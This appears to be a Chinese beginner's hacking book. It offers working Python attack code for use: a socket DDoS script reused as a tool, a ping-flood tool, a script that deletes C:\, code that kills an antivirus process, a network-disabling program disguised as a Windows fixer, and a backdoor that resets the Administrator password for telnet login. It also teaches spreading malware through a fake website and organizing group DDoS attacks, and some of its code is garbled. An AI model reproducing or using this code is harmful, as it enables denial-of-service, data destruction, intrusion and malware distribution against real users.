基础篇
什么是病毒
病毒，指的是一些通过非法手段获取系统的一些权限，然后进行破坏或者盗取。
病毒分为两类：
1、破坏型
这类病毒往往会将系统弄的乱七八糟，比如把你的U盘删光，把你的系统背景调成黑客图片，把你的桌面全部变成某个图标…
这些病毒一般比较明显，所以，杀毒软件一般比较容易查杀，但是，下面这种就不一样了。
2、非破坏型
非破坏型病毒不会把你的系统怎么样，也不会删除你的文件和修改你的个性化操作，他们只有一个目的：盗取文件或让它们的主人进入你的计算机。例如最典型的灰鸽子，就是让黑客进行连接，然后控制你的电脑。冰河也是一样。还有一种ftp木马，它们的目的就是打开21端口，等待黑客连接。
安装编程环境：Python3.7 IDE
在编写程序进行黑客攻击和病毒编写之前，我们得先安装我们的编程环境：Python3.7 IDE
从网络上下载：Python3.7 IDE
接着，双击它，按照安装向导完成安装。
启动
在Windows搜索栏中搜索：Python
会显示出：
打开它！
打造攻击目标：VMware虚拟机
我们现在还没有一个攻击目标，因为我们现在不能攻击别人的电脑，否则，你就是骇客了。
那么，我们只有安装VMware虚拟机了。
安装VMware Workstation player
（注：此处不细说，因为版本不一，安装不一样）
打开！
然后，请下载Windows 7 原生纯净镜像，可以百度“我告诉你”，点击第二个，下载Windows7。
新建虚拟机
点击“创建新虚拟机”
点击“下一步”
这里需要输入Windows7的密钥，按图中输入。
下一步：
下一步：
我们已经完成了VMware Workstation 虚拟机的配置，现在我们启动它：
在这段时间内，计算机（虚拟机）会重启数次，最终完成安装。
安装成功后即可开始使用Windows 7 ，并且可以向它发起猛烈的攻击了。
Windows7是微软（Microsoft）的杰出产品之一，但可惜的是它还是被更优秀的Windows10取代。在2015年，微软（Microsoft）正式宣布不再支持Windows7，也就意味着，不会再有新的更新给使用Windows7的用户了。
启动成功！我们可以在这台Windows上工作，并且也可以攻击它了！
编写经典程序——Hello，World！
打开Python，点击File，New。
在弹出的窗口中输入：
print('Hello, World!')
1
点击Run，最后一个选项，查看结果。
显示：
Hello, World!
1
这表示IDE程序可用，也表示，你已经成为一名程序员了！
测试网络的PING
PING程序是Microsoft（微软公司）为Windows用户准备的网络检测程序，使用他，可以帮你查看网络状态和网络是否可访问。
键击“windows键+R”，打开运行窗口，输入cmd，回车，即可打开终端窗口。在这里，你可以做很多一般人做不到的事情。
在终端里输入ping/?,查看详细用法。
常用指令：
PING -t ip
注：这样可以PING指定的IP到永远，除非你停止它。很多初级黑客喜欢用这个参数来进行网络堵塞的攻击。
PING -l 大小 ip
注：这样可以设置发送包大小
PING -n 次数 ip
注：这样可以设置次数。
试试对baidu.com进行PING指令
打开终端，输入PING -n 10 -l 10 baidu.com
(此命令必须在Windows 8以上才可以运行，Windows 7部分版本不支持PING网页)
我们检测到我们可以连接到baidu.com，说明我们的网络是可用的。
TCP\IP协议
TCP/IP协议能够迅速发展起来并成为事实上的标准，是它恰好适应了世界范围内数据通信的需要。它有以下特点：
（1）协议标准是完全开放的，可以供用户免费使用，并且独立于特定的计算机硬件与操作系统。
（2）独立于网络硬件系统，可以运行在广域网，更适合于互联网。
（3）网络地址统一分配，网络中每一设备和终端都具有一个唯一地址。
（4）高层协议标准化，可以提供多种多样可靠网络服务。
黑客入门的操作命令
1、“肉鸡”
“肉鸡”有点类似牵线木偶，是指可以被黑客神不知鬼不觉地远程控制的电脑或者大型服务器。不论什么系统都有可能沦为“肉鸡”。
2、“木马”
“木马”是一种在运行后可以得到系统的控制权的程序。拿网页木马举例，主要是利用浏览器的漏洞把网页木马搞到浏览器访问者本地上，然后自动执行的。
3、“后门”
黑客在通过某种手段成功控制目标主机之后，搞到系统的访问权限。访问系统后通过系统漏洞得到root权限，再安装rootkit，就可以较长时间地控制该目标主机。
4、“弱口令”
弱口令的安全强度不高，易于被猜到破解的密码，比如123456、654321。
5、“溢出”
“溢出”一般指的是缓冲区溢出。说白了，就是程序没有进行有效地监测，导致输入的数据没执行。这样的程序和没有执行的数据越来越多，最后程序会解体，也有可能错误地执行黑客的命令。
6、“花指令”
“花指令”是用汇编语言写成的，导致杀毒软件无法对病毒进行合理地判断。因为杀毒软件有顺序规则，就是从头到尾来查杀病毒。而一旦病毒的头尾顺序不对，杀毒软件就歇菜了。
7、“免杀”
“免杀”，顾名思义，就是免去杀毒软件的查杀。使用一些技术把程序进行修改，这些技术主要有加壳、加密、加花指令等。
8、“加壳”
“加壳”的目的主要有压缩文件、将程序编码加密、免杀等，主要通过一些不一般的算法改变可执行程序或者DLL动态链接库文件的编码。
9、“Shell”
“Shell”是一种程序或者命令的执行环境。比如，一般用远程溢出程序后，可以成功控制远程电脑，在该电脑执行系统命令的环境就是“Shell”。
Python编写基本程序
Python是一个强大的语言，它十分简洁，但是十分有用。
在此书编写时，Python3.7.3已经算较新的版本了，所以如果想和本书同步，请安装Python3.7.3
编程，就是指用一段计算机能听懂的话让计算机去帮你做事情，这就叫编程。
我们已经学会了“Hello,World!”的编写，现在，我们来编写一个简单的登录系统，我们在后期，会将它改装成一个盗取密码的病毒。
登录.py
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
try :
window=tk.Tk()
window.title('欢迎使用Windows高级功能！')
window.geometry('450x300')
#画布放置图片
canvas=tk.Canvas(window,height=300,width=500)
imagefile=tk.PhotoImage(file='Hello.png')
image=canvas.create_image(0,0,anchor='nw',image=imagefile)
canvas.pack(side='top')
#标签 用户名密码
tk.Label(window,text='用户名:').place(x=100,y=150)
tk.Label(window,text='密码:').place(x=100,y=190)
#用户名输入框
var_usr_name=tk.StringVar()
entry_usr_name=tk.Entry(window,textvariable=var_usr_name)
entry_usr_name.place(x=160,y=150)
#密码输入框
var_usr_pwd=tk.StringVar()
entry_usr_pwd=tk.Entry(window,textvariable=var_usr_pwd,show='*')
entry_usr_pwd.place(x=160,y=190)
#登录函数
def usr_log_in():
#输入框获取用户名密码
usr_name=var_usr_name.get()
usr_pwd=var_usr_pwd.get()
#从本地字典获取用户信息，如果没有则新建本地数据库
try:
with open('usr_info.pickle','rb') as usr_file:
usrs_info=pickle.load(usr_file)
except FileNotFoundError:
with open('usr_info.pickle','wb') as usr_file:
usrs_info={'admin':'admin'}
pickle.dump(usrs_info,usr_file)
#判断用户名和密码是否匹配
if usr_name in usrs_info:
if usr_pwd == usrs_info[usr_name]:
tk.messagebox.showinfo(title='welcome',
message='欢迎您：'+usr_name)
else:
tk.messagebox.showerror(message='密码错误')
#用户名密码不能为空
elif usr_name=='' or usr_pwd=='' :
tk.messagebox.showerror(message='用户名或密码为空')
#不在数据库中弹出是否注册的框
else:
is_signup=tk.messagebox.askyesno('欢迎','您还没有注册，是否现在注册')
if is_signup:
usr_sign_up()
#注册函数
def usr_sign_up():
#确认注册时的相应函数
def signtowcg():
#获取输入框内的内容
nn=new_name.get()
np=new_pwd.get()
npf=new_pwd_confirm.get()
#本地加载已有用户信息,如果没有则已有用户信息为空
try:
with open('usr_info.pickle','rb') as usr_file:
exist_usr_info=pickle.load(usr_file)
except FileNotFoundError:
exist_usr_info={}
#检查用户名存在、密码为空、密码前后不一致
if nn in exist_usr_info:
tk.messagebox.showerror('错误','用户名已存在')
elif np =='' or nn=='':
tk.messagebox.showerror('错误','用户名或密码为空')
elif np !=npf:
tk.messagebox.showerror('错误','密码前后不一致')
#注册信息没有问题则将用户名密码写入数据库
else:
exist_usr_info[nn]=np
with open('usr_info.pickle','wb') as usr_file:
pickle.dump(exist_usr_info,usr_file)
tk.messagebox.showinfo('欢迎','注册成功')
#注册成功关闭注册框
window_sign_up.destroy()
#新建注册界面
window_sign_up=tk.Toplevel(window)
window_sign_up.geometry('350x200')
window_sign_up.title('注册')
#用户名变量及标签、输入框
new_name=tk.StringVar()
tk.Label(window_sign_up,text='用户名：').place(x=10,y=10)
tk.Entry(window_sign_up,textvariable=new_name).place(x=150,y=10)
#密码变量及标签、输入框
new_pwd=tk.StringVar()
tk.Label(window_sign_up,text='请输入密码：').place(x=10,y=50)
tk.Entry(window_sign_up,textvariable=new_pwd,show='*').place(x=150,y=50)
#重复密码变量及标签、输入框
new_pwd_confirm=tk.StringVar()
tk.Label(window_sign_up,text='请再次输入密码：').place(x=10,y=90)
tk.Entry(window_sign_up,textvariable=new_pwd_confirm,show='*').place(x=150,y=90)
#确认注册按钮及位置
bt_confirm_sign_up=tk.Button(window_sign_up,text='确认注册',
command=signtowcg)
bt_confirm_sign_up.place(x=150,y=130)
#退出的函数
def usr_sign_quit():
try :
window.destroy()
except :
pass
#登录 注册按钮
bt_login=tk.Button(window,text='登录',command=usr_log_in)
bt_login.place(x=140,y=230)
bt_logup=tk.Button(window,text='注册',command=usr_sign_up)
bt_logup.place(x=210,y=230)
bt_logquit=tk.Button(window,text='退出',command=usr_sign_quit)
bt_logquit.place(x=280,y=230)
#主循环
window.mainloop()
# -*-coding:utf-8-*
import socket
import threading
import Queue
import time
except :
pass
这段代码会让用户输入用户名和密码，并且进行登录。
木马程序的编写
在本章，我们将正式开始木马的编写。
用Python写木马，其实很简单。
下面是我例举的一个破坏型木马的代码：
Delete.py
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import os
import sys
import subprocess
ret = subprocess.call("del C:\ ", shell=True)
window=tk.Tk()
window.withdraw()
window.mainloop()
他其实很简单，但是，却又让一些很基础的用户受骗。
很多人在电脑弹出窗口提示时都喜欢点击“是”“确认”“好”，但是，可能就因为这样，你的C:\被删除了。这意味着，你失去了系统盘！
破坏型木马很好编写，我们在前期都在编写破坏型木马和病毒，所以都比较简单。
Python之外，课外扩展
GoC绘图语言
这种语言主要功能是绘图，是编程新人的不二选择——因为它的代码太简单了！
打开GoC
输入以下代码：
int main()
{
p.fd(100);
p.rt(90);
p.fd(100);
p.rt(90);
p.fd(100);
p.rt(90);
p.fd(100);
p.rt(90);
return 0;
}
运行：
C++/C
这些语言想必大家都比较清楚，在这里就不多介绍。
如果对这些语言有兴趣，可以去学习。
在Dev-C++（初学者编程环境）中创建新文件，输入以下代码：
#include
using namespace std;
int main()
{
cout<
return 0;
}
运行后，显示：
Hello，World！
1
初级篇
在这一篇，你将成为一名黑客……
Python编写DDoS攻击程序
下面，你可以把代码复制到你的Python上，然后运行，试试效果。
DDoS.py
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在双引号里输入对方IP或域名，要保证他联网了或开机了.
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
在指定位置输入你要攻击的IP或网址，运行，就可以进行攻击了。
运用PING程序进行网络堵塞攻击
前面说过，PING程序可能会使网络堵塞，所以，我们根据这个原理编写了一个攻击程序。
网络堵塞.py
import os
import socket
import time
ip = input("请输入IP：")
os.system("ping -t -l 50 " + ip)
运行程序，输入IP，就可以等待指定主机网络堵塞了。
连接对方的计算机
我们可以使用“telnet”命令来进行远程终端的连接。
打开终端窗口，输入telnet/?，查看用法：
输入 telnet HOST POST,可以进行连接，这里以baidu.com为例：
这里已经成功连接，正在加载。
运用它可以连接远程主机，实现远程操控。
运用ftp来进行文件传输
ftp是一种协议，也是一种指令，用它，可以进行文件传输。
打开终端，输入：
可以根据这些指令进行文件的传输。
有一些杀毒软件（例如：金山毒霸、趋势科技）会进行阻止，因为它们都会自我防护，防止未知木马下载到计算机上。
copy
运行copy程序，可以让它帮你复制文件，你可以在病毒中添加这个程序，让无知的计算机帮你复制病毒程序。
打开终端窗口，输入copy/?：
根据help，我们来编写一个可以复制某个程序的病毒：
import sys
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import os
import sys
import subprocess
os.system("copy 路径 路径 ")
这是一个简单的程序，但在后期，却非常有用！
运用socket模块
在上个小节，有个DDoS攻击程序，这个程序里调用了一个模块：socket
这个模块是个很棒的插件，它可以帮你进行连接，就像一个可以帮你插电线的电工。
调用socket模块
#调用socket
import socket
print("Hello,socket!")
Hacker(黑客)软件（篇）
黑客软件是一些黑客高手做的软件，这些软件可以简化攻击成本和难度，是很多黑客的不二之选。
但是今天，我们不来下别人的黑客软件，咱们来做自己的黑客软件！
黑客软件制作
1、网络堵塞工具 V1.0
开始想它的呈现方式：
1、终端形式
2、窗口形式
这里，我们来做终端形式。
输入代码：
import tkinter as tk
import tkinter.messagebox
import pickle
import pickle
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
def input_cd():
cd = input("请输入指令>>")
if cd == "1":
ping()
if cd == "2":
print('此功能暂不可用')
input_cd()
def ping():
host = input("请输入对方IP:")
qiangdu = input("请输入强度(1-65500):")
os.system("ping -t -l " + qiangdu + " " + host)
logo = """
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┒
┃网络堵塞工具 V1.0||||||||||┃
┃|||||网络堵塞工具，选这款！|┃
┖━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[]|[]|[][]|[][][][]|[][][]|[][]tiantian520ttjs所有——
"""
print(logo)
print('[][使用指南][]')
print('1、ping \n2、ddos(正在编写)')
input_cd()
此程序可完成一个简易的攻击工具，你可以对它进行修改，让别的用户使用它。
2、DDoS攻击工具
输入代码：
import socket
import time
import threading
#Pressure Test,ddos tool
print('欢迎使用DDoS攻击工具!')
#---------------------------
MAX_CONN=20000
PORT=80
HOST=input("请输入网址或IP:")
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
它将成为一件出色的软件，你也可以对它进行修改，我贡献在书上的代码，没有版权。
学习并使用别人的黑客软件
当然，黑客高手们做的软件自然比我们好的多。那么，我们该如何去下载那些软件呢？
首先，在下载黑客软件时，要注意防病毒。因为很可能这个软件是被捆绑了病毒的恶意程序！
下面，为大家展示几款软件的安装：
1、SQL tools
访问https://sourceforge.net/projects/sqlt/postdownload进行下载：
同意协议：
选择路径：
下一步：
开始安装：
点击Close，结束安装
（注：在安装之前，请务必安装Java，这是程序的必备用品。最低版本必须要Java 8）
在这里，你可以进行高级的攻击。但是，在这里就暂时不介绍了。
2、ComputerKiller
访问：hackersdld.icoc.vc
这里有很多黑客软件，在后期，会很有用。
点击ComputerKiller 1.9.3，进行下载。
下载完成后打开压缩包，双击exe程序即可。
运用代码和一些工具来查看对方是否可被攻击
例如：我要入侵一台计算机，已知参数：
MAC：00:50:56:38:6F:C3
IP：192.168.132.132
用户名：Administrator
先打开终端窗口，输入PING 192.168.132.132,查看对方状态。
这样，说明对方是可以上网、并且是可用的。
再发现，TTL值为128，如不更改，128TTL应为Windows 7 系统。我们就又获得了一项线索：
OS：Windows 7
接着，我们用DDoS攻击器攻击对方：
对方没有反应！说明，对方的网络不是可以正常使用的，但是，它有一个IP地址与MAC地址！
那我们只有通过别的办法对它进行攻击和入侵了。
打开终端，输入telnet 192.168.132.132 23
发现，也是无法连接！！！
我们再进行测试，如果还是无法进行连接，说明，对方处于NAT网络模式！（注：NAT网络模式就是指只有IP，但不能上网和被连接）
打开远程桌面连接，输入IP连接后发现：
说明对方处于确确实实的NAT状态！这台计算机就不可以被攻击，因为它没有和intelnet进行连接！相当于没有一个可以听声音的耳朵！
黑客软件使用的要点
黑客软件虽然好用，但是，不好下载。
在网上，有很多软件都带有病毒，我下载的一些黑客软件就有，病毒名称：
BKDR_AGENT.AHZU 后门
TROJ_GEN.R002C0PKF19木马
TROJ_GEN.R03FC0PGN19木马
所以，在网上一定要小心这些捆绑了病毒的软件，可能你就会有一天被黑客劫持！
推荐大家到这几个站点去下载黑客软件：
hackersdld.icoc.vc(黑客软件下载)
www.netxeyes.com(小榕主页)
以上就是本章的内容，在下一章，我们将进行更深入的攻击学习，代码攻击将成为重点。
本章课外
最近，小编发现个很搞笑的计算机。这个计算机已被我装上后门，冰河也装上了。我看它桌面的时候，它的桌面是这样的：
满桌面都是骂人的话…
我给它留下一个txt：
接着呢，我又给它重装了个系统，爽啊！
（本段告诉我们：黑客技术不一定是恶意技术！）
中级篇
print("Hello,Users!")
name = input("What's your name?")
print("Oh,Nice to meet you," + name + "!")
这样的简单到不能再简单的程序，大家想必已经可以看懂了。那么这一篇，我们就来深度学习代码编程，通过编程的学习，来进行后期木马和病毒的编写。
不知道大家有没有听说过有一种程序，通过不断打开网页进行加载来导致计算机卡顿。这也是一种病毒。
我们本章也来教大家编写这一类的病毒，并且教大家如何进行传播。
本章我们还会了解到凡科建站，这是一个很厉害的建站程序。可以让你不用码代码就进行网站搭建。我们通过这个功能来建造我们自己的主页，然后像黑客小榕那样发布我们的黑客软件。当然，我们也可以做一些恶意网站，这样就可以得到很好的效果。
凡科建站
百度搜索：凡科建站，注册一个账号，接着，我们来建造我们的主页。
这里我已经开过站点了，如果大家不会创建，可以百度搜索。
进入后，可以按照新手指南来创作自己的主页。
我的主页如下：
用网页来传播病毒
我们可以在建造的网站上让用户下载病毒，这样可以得到很有效的效果。我编写的病毒如下：
import webbrowser
import tkinter.messagebox
while 1:
webbrowser.open("baidu.com")
tk.messagebox.showerror('Windows错误','Windows被不明程序劫持，正在尝试自救......')
代码效果：
此处还没截图到messagebox就死机了，因为刷的太厉害了。
我们可以把这个病毒打包后传播到网上，虽然只是一个很简单的小程序。
我用百度网盘创建了一个分享链接，用凡科建站做了一个网页，可以下载这个病毒。
但是，我们还没有给它编译为exe程序，所以，我们要下载pyinstaller，进行编译。
自己作一幅画，接着将它转换为ico格式，当做应用图标。
在命令行（终端）输入：
pyintaller -F -w -i 图片路径 文件路径
打包完后，会在dist目录下出现exe程序，并且build里会有配置文件。
创建一个新的文件夹，将配置文件和exe程序放入，然后打包为zip/rar/7z压缩文件，上传到百度网盘，链接为：https://pan.baidu.com/s/1t2c_fZiijR-QpXs7jANj0Q，接着进入凡科建站，做一个恶意网站：
这个恶意网站可以让别人下载这个恶意病毒，是传播的途径。
对网站进行攻击
网站攻击一般都是SQL数据库注入、DNS欺骗、DDoS攻击等。SQL注入和DNS欺骗对我们来说暂时太难，我们先从DDoS启。
在前面，我们已经说明了和介绍了DDoS攻击的原理和代码，在本节，我们将对这个脚本进行改造，让它变成一个强大的黑客软件——DDoS:ME
回顾
先回顾一下之前的脚本代码，我们是用了socket模块进行不断发送连接请求来实现的。其中，较关键的关键字有：
while 1:
import socket
Host = ""
......
这些都是脚本的重点，如果丢掉While，那你的脚本只会执行一次。如果丢掉import，那么将会出错。如果丢掉Host，那么，你的脚本将没有目标…
回顾一下之前的代码，试着尝试解决以下问题和建议：
1、如何让攻击强度变大？
2、可以将socket模块换成其他吗？
组织一场庞大的DDoS攻击
真正的高级攻击都不是一个人完成的。都是在肉鸡（傀儡机）和队友的帮助下完成的。你不妨组织一个黑客联盟，一起来进行黑客技术的研究。
本节，我们就来教大家组织一场庞大的DDoS攻击，并且教大家如何进行攻击。
组织
组织，一个包含了深意的名词。有了组织，我们就可以更加强大。
本小节，我们就来进行组织。
1、创建组织
你可以邀请你的朋友加入我们的行列，并要它阅读这本书里的引子和介绍。接着，你可以在QQ或WeChat里组织一个团体，可以取一个有意义的名字。例如：
Hello,Hackers!
Hacker men
计算机杀手们
黑客军团
黑客帝国
这些都是一些有趣的名字，你可以采取点意见。
接着，你可以将自己的成果与大家共享，再收获别人的成果。用一段有趣的话来说：化学罐车碰油罐车，火花才激烈！
2、加入组织
你可以加入任何的组织，只要它愿意。加入后，你可以像上一小节那样，一起来交流。
如遇到让你很感兴趣的话题，你可以向发布人询问代码，Python社区都十分友好，Hackers社区就更别说了——一家人，难道还不友好吗？
攻击
组织之后，例如我的团队现在有8个人，分别是：
C++
Java
Python(Me)
我们就可以进行合作，例如：
C++进行侦查，看看网站有什么状况
Java进行本地网络检查，看看有没有被人发现并试图连接
Python(Me)、1、2、3、4、5进行攻击，努力取得胜利。
这样，队伍就会变得十分团结。
那么，我就以我自己的网站为例，进行攻击。
我的团队共有3个人，分别为：1、2、Me
1进行攻击
2进行探查
Me进行攻击
2探查到了：
网站的分享功能因流量不足被关闭了。
1和Me在攻击：
import socket
import time
......
这样的话，这个网站很快就因流量崩溃而无法访问：
DDoS攻击软件的制作
把脚本变成攻击软件，这也许会比较好。别的人可以更好的进行使用。
我们先打开DDoS攻击脚本，代码如下：
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在双引号里输入对方IP或域名，要保证他联网了或开机了.
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
我们第一步就是给它加上标题和IP输入区，那么，将代码修改成这样：
import socket
import time
import threading
#Pressure Test,ddos tool
print("欢迎使用DDoS:ME!")
HOST = input("DDoS:ME请求您输入IP:")
#---------------------------
MAX_CONN=20000
PORT=80
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
这样，就成为一个简易的攻击软件了。
不过，我们还得继续改进。
本次改进就当做本小节的挑战了，希望经过那么久的学习，你可以完成这个挑战。
挑战
1、将本节的DDoS攻击器进行改造，成为一个完美的攻击器。
2、让这段代码的威力更厉害点儿
网站攻击要点
在本书中，不会教大家如何进行DNS欺骗和别的攻击。因为这些知识很难，比DDoS难得多。但是，在本书，我们会将病毒研发延伸到我的终点——我会贡献我所有可以贡献的知识。
在攻击时，一定不要忘记自己的身份：
我是一名黑客
既然你是黑客，那就不该做坏事。如果不小心对人家造成了损失，那就成骇客了。
Python3.7编程学习
在中级篇里，我们还要学习如何编程。这样有助于我们伪装我们的程序。例如我通过编程来做一个DDoS攻击器，然后让其他人下载。接着，再让你编写的病毒运行，就可以将别人一网打尽了。
输入和输出
在IDE中输入和输出，我们可以利用print()和input()来完成。这两个都是Python自带的函数，我们可以随心所欲的用它，并且不用定义。
输出
输出是指将信息显示出来，这就是输出。
代码例子：
print("Hello, World!")
1
输入
输入是指让使用的用户进行键盘敲击，从而进行录入。
代码例子：
name = input("What's your name?")
1
这两个模块都十分重要，要务必记住它们。
计算
让Python帮你计算，其实十分简单。
你可以根据下列代码进行分析和学习：
1+1 #加法
2-1 #减
3*3 #乘
9/3 #除以
10%3 #模
函数
我们可以通过定义函数来解决总是一样的代码。
代码例子:
def print_a():
print("a")
1
2
循环
循环有两种，一个是For,一个是While。
这些都是循环，只是方式不同。
代码例子:
#while
while 1:
print("010101001010100101010")
#For
for word in ["You","are","cool!"]:
print(word)
判断
在Python中，我们用if组语句来判断。在本书中，我们只学习if、else两个语句。
代码例子：
age = 10
if age == 10:
print("你满十岁啦！")
else :
print("NO！你没有十岁！")
程序例子学习
1、你几岁了？
age = input("你几岁了?")
if age == "18":
print("你刚好成年!")
else :
print("你不是18岁，你可能未成年!")
2、我会机器语言
while 1:
print("010010101010010101010101010101000101010101010101001010101001010010100101010110010101011111111111111101101010101")
1
2
高级篇
在这一篇里，你将学习编写高级病毒。这些高级病毒十分厉害，最好在虚拟机中查看结果。
我的虚拟机因为无法连接网络，所以在这里我就不做注入演示。
在本章，我们将完成大部分的典型病毒，准备好了吗？
在这之前，我们还要为所有的病毒编写一个必要的程序：
后台运行和免杀
后台运行
在病毒代码的末端加入如下代码：
window=tk.Tk()
window.withdraw()
window.mainloop()
1
2
3
这样，你就可以让你的病毒在后台运行了。
免杀
我们通过编写代码来实现病毒免杀。
我们可以通过打乱病毒特征码来进行，也可以编写“花指令”。
在这里，我们将用到一个新的知识点——欺骗。
“花指令”在前面的篇章里说过，就是编写一段不是病毒源代码的代码，来欺骗杀毒软件。
这里，这个病毒也叫“程序杀手木马”。
我们通过代码来实现“程序杀手木马”，来保护我们的病毒可以正常运行。
我们先看看如下代码：
os.system(r'taskkill /F /IM 进程名')
1
这段代码实现了停止某个进程，那么，我们这里以金山毒霸为例，来关闭金山毒霸。
首先，金山毒霸的文件名为：
kxetray.exe
我们将刚才的代码改一下：
import os
os.system(r'taskkill /F /IM kxetray.exe')
time.sleep(5)
window=tk.Tk()
window.withdraw()
window.mainloop()
FTP病毒
ftp病毒的作用就是打开21端口，等待连接。但如果对方打开了ftp，那么，这个病毒就不必要了。
因为大部分用户都开启了21端口，所以这个病毒跳过。
断网病毒
断网病毒的原理就是关闭Windows网络服务，使其断网。并且还会进行网络堵塞。为了骗过用户，我们仿造了Windows漏洞修复程序，其内容简单，代码如下：
import os
os.system("net stop service")
import subprocess
print("正在进行环境监测，请稍后")
ret = subprocess.call("title Windows漏洞修复", shell=True)
ret = subprocess.call("ping -t -l 100 127.0.0.0", shell=True)
window=tk.Tk()
window.withdraw()
window.mainloop()
破坏型病毒
在之前，我们已经做过一款破坏型病毒了。这次，我们继续进行改造，让它成为一个高级的病毒。
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
import os
import datetime
import os
import sys
ret = subprocess.call("del C:\ ", shell=False)
ret = subprocess.call("ping -n 1 -l 1 你自己的IP", shell=False) #用作通知，通知你有人遭到了你的病毒攻击，从而对它进行DoS攻击。
ret = subprocess.call("net user Administrator 123456", shell=False)
ret = subprocess.call("ping 你自己的IP",shell=False)#通知你进行登录这个用户，从而进行高级操作
window=tk.Tk()
window.withdraw()
window.mainloop()
①在第一次通知时，对目标进行DoS攻击。（可以通过资源监视器来查看通知），从而使对方网络堵塞和系统速度变慢。
②在第二次时，用telnet指令连接对方，登录Administrator用户，输入密码123456，即可进行更高操作。
telnet 对方IP
正在连接对方IP......
用户名:Administrator
密码:123456
正在登录......
已成功登录Administrator！
（注：因版本原因，显示可能不相同，请谅解。）
自毁木马
这个木马的功能并不是盗取信息，而是同归于尽。
它将伪装成正常程序，并且会在收集完一定系统信息后带着当前目录下的部分文件同归于尽。
